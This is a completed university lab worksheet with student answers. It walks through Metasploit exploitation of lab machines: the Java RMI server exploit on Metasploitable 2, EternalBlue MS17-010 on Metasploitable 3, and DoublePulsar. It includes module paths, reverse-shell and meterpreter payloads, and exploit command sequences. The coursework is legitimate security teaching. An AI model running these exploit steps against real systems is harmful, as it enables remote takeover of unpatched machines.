

CSCS 495 A

FORMAN CHRISTIAN COLLEGE

(A CHARTERED UNIVERSITY)

CYBER SECURITY

Class Activity 3

Time Allowed: 60 min

Max Marks: 70

ROLL No.

This activity is about using exploits and scanners from Metasploitable Framework. You need to use Kali Linux and Metasploitable 2 and Metasploitable 3 to execute relevant commands and answer the questions specified in the tasks.

Attempt the following tasks on your system and write the commands / output on the space provided:

Activity 1 [20]

Fire up your kali machine and Metasploitable 2.

Search for Java RMI on the internet and write a brief description about it in two to three lines in the space below: [2]

Java RMI (Remote Method Invocation) is a Java API that allows the invocation of methods on an object located in another Java Virtual Machine, enabling remote communication between Java Programs. RMI uses client-server model where the client invokes methods on remote objects provided by the server.

Search for the vulnerability related to java rmi for metasploitable 2 using following sources and write down the results (related to Metasploit only):

[2]

i. Exploit-db

- Jenkins CLI - RMI Java Deserialization (Metasploit)
- Java RMI - Server Insecure Default Configuration Java Code Execution (Metasploit)
- Java - RMIClientImpl Deserialization Privilege Escalation (Metasploit)

ii. Using searchsploit command

[2]

- Java - RMIClientImpl Deserialization Privilege Escalation (Metasploit)
- Java RMI - Server Insecure Default Configuration Java Code Execution (Metasploit)

CSCS 495 A

- iii. We are more interested in the java RMI server vulnerability. Use search command to get information about the exploit and scanner for this vulnerability. Write down complete path provided in the output of this command about exploit and scanner in the space below: [1]

• exploit: `exploit/multi/misc/java_rmi_server`

• scanner path: `auxiliary/scanner/misc/java_rmi_server`

- iv. What is rank of the exploit and scanner you searched for in part iii above [1]

exploit rank: excellent

scanner rank: normal

Ok now that we have the java rmi server exploit information with us, let us use it.

- i. Write the command that you issued in MSF console to get the context of this exploit. [1]

~~search~~ ~~java_rmi_server~~
\$ use `exploit/multi/misc/java_rmi_server`, \$ info

- ii. What are the required settings in Module option for this exploit? [3]

\$ show options

- HTTPDELAY
- RHOST (ip of metasploit 2)
- RPORT (port no. of Java RMI)

~~• LHOST~~

• SRVHOST

• SRVPORT

- iii. What are the required settings in the payload option for this exploit? [1]

• LHOST

• LPORT

- iv. If you issue the command

`msf6 > show payloads`

in this context, you will see a couple of payloads that you can choose from. What is the difference between the following two? [2]

13 `payload/java/shell/reverse_tcp`

and

14 `payload/java/shell_reverse_tcp`

- 13 is a stager payload in that an initial stager is first sent which establishes reverse connection then after the full payload is sent.
- 14 is inline in that full payload (reverse shell and TCP connection) is done in one go.

- v. Finally set the required settings and run the exploit. Show the result to the instructor. [5]

ok

Activity 2 [20]

In this activity we will exploit NetBIOS/SMB on Windows using EternalBlue Exploit.

Fire up your kali and Metasploitable 3 windows box.

Here is a brief introduction to the vulnerability we will use in this activity.

EternalBlue is a cyberattack exploit developed by the U.S. National Security Agency (NSA). It was leaked by the hacker group Shadow Brokers in April 2017. EternalBlue exploits a vulnerability in the SMB (Server Message Block) protocol, specifically SMBv1, on Windows operating systems. **SMB MS17-010**, also known as **EternalBlue**, is a critical vulnerability in the Microsoft Server Message Block (SMB) protocol.

Search for this vulnerability in msfconsole. What output you got? Write it down in the space below: [3]

```

• 0 exploit/windows/smb/ms17_010_eternalblue
• Remote Windows Code Execution
  18 1_AKA: ETERNALBLUE

- Remote Windows Command Execution
  23 1_AKA: ETERNALBLUE
  26 1_AKA: ETERNALBLUE

```

Scan your Windows 2000 Server machine using the auxiliary module provided in the above output. Now from the output provided by msfconsole, answer the following questions:

- a. What are the exact words that are written in the output about the vulnerability of the host machine? [2] ip: 192.168.56.101

output:
192.168.56.101:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (64-bit)

- b. What is the complete name of the host machine including its version, and service pack that you find in the output? [2]

windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (64-bit)

Now that we know about the vulnerability, search for the exploit that we can use. Hint: search for exploit that deals with ms17-010 and eternalblue. Once you finalize it write its complete name along with the path starting from exploit/. . . [2]

MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

path: exploit/windows/smb/ms17_010_eternalblue

Run this exploit in msfconsole. Answer following questions:

- a. What is the default payload suggested by the msfconsole? [2]

• reverse_tcp

path: windows/x64/meterpreter/reverse_tcp

- b. Did you change the payload [Yes / No]

[1]

No

M-3 Justified
1 Bul

CSCS 495 A

c. What were the settings that you set while performing exploitation? [2]

set RHOSTS 192.168.1.101

If you successfully got a meterpreter, show it to the instructor. [3]

Now search for a phrase in the output saying "Sending egg to corrupted connection." Give a brief and concise description about the phrase. [3]

CSCS 495 A

Activity 3 [20]

This part of class activity is take-home. You need to complete it and submit it in the next class of the same week.

In this activity you will explore Double Pulsar exploit. The details about the exploit and how you can install it on your kali machines have been uploaded on Moodle Course page in week 7.

Carefully go through that handout. You may need to install wine and double-pulsar on your kali machines (if these are not installed already).

Once you install all the dependencies you can run the exploit. Detailed procedure is shown in the handout uploaded.

You need to show the working exploit on your machines to the instructor for grading.

```
sudo apt install wine -y
```

```
unzip doublepulsar.zip -d doublepulsar
```

```
cd doublepulsar
```

```
sudo msfrpc
```

```
use exploit/windows/smb/ms17-010_doublepulsar
```

```
set RHOSTS 10.0.2.5
```

```
set payload windows/x64/meterpreter/reverse_tcp
```

```
run
```